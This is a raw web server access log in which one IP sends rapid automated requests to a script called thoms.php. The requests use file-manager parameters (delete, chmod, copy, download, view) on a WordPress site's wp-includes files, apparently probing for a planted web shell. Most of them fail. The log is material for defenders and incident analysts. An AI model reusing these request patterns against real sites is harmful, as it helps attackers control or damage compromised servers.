45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /biotaiwan.com.tw/wp-includes/class-walker-category-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?del=blocks&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=blocks&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?chmod=customize&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=customize&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /biotaiwan.com.tw/wp-includes/template-canvas.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?del=class-wp-network.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-network.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?chmod=post-thumbnail-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-thumbnail-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-object-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?chmod=class-wp-fatal-error-handler.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-fatal-error-handler.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?dl=class-wp-plugin-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-plugin-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /biotaiwan.com.tw/wp-includes/spl-autoload-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=default-filters.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?chmod=locale.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=locale.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-theme-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?del=class-walker-category.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-category.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?dl=class-wp-block-type-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?del=class.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?chmod=error_log&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?del=theme-templates.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-templates.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /thoms.php?dl=widgets.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:55 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-recovery-mode-cookie-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fbuild HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fbuild" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=nav-menu-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=nav-menu-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?chmod=shortcodes.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=shortcodes.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /biotaiwan.com.tw/wp-includes/rest-api/ HTTP/1.1" 200 1355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /biotaiwan.com.tw/wp-includes/SimplePie/ HTTP/1.1" 200 873 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fview-config.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fview-config.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2FID3&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2FID3&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?del=class-wp-locale.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-locale.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?dl=class-wp-icons-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-icons-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?chmod=class-wp-paused-extensions-storage.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-paused-extensions-storage.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?chmod=class-wp-roles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-roles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?del=block-template-utils.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-template-utils.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?dl=category.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=category.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-xmlrpc-server.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /biotaiwan.com.tw/wp-includes/functions.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:56 -0400] "GET /thoms.php?chmod=class-wp-http-response.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-response.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?dl=class-wp-locale.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcertificates&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcertificates&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?del=class-avif-info.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-avif-info.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffonts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffonts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /biotaiwan.com.tw/wp-includes/update.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?chmod=nav-menu-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=nav-menu-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpomo&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpomo&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?chmod=class-wp-http.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?del=default-filters.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=default-filters.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /biotaiwan.com.tw/wp-includes/post-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?chmod=json-schema.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=json-schema.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?dl=ms-default-constants.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-default-constants.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?del=plugin.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugin.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-text-diff-renderer-inline.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-user-meta-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?chmod=spl-autoload-compat.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=spl-autoload-compat.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-date-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:57 -0400] "GET /thoms.php?dl=class-wp-list-util.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-list-util.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fnav-menu.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fnav-menu.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?dl=nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?chmod=theme-templates.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-templates.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?chmod=utf8.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=utf8.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-dependency.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=bookmark-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?chmod=class-wp-duotone.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-duotone.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
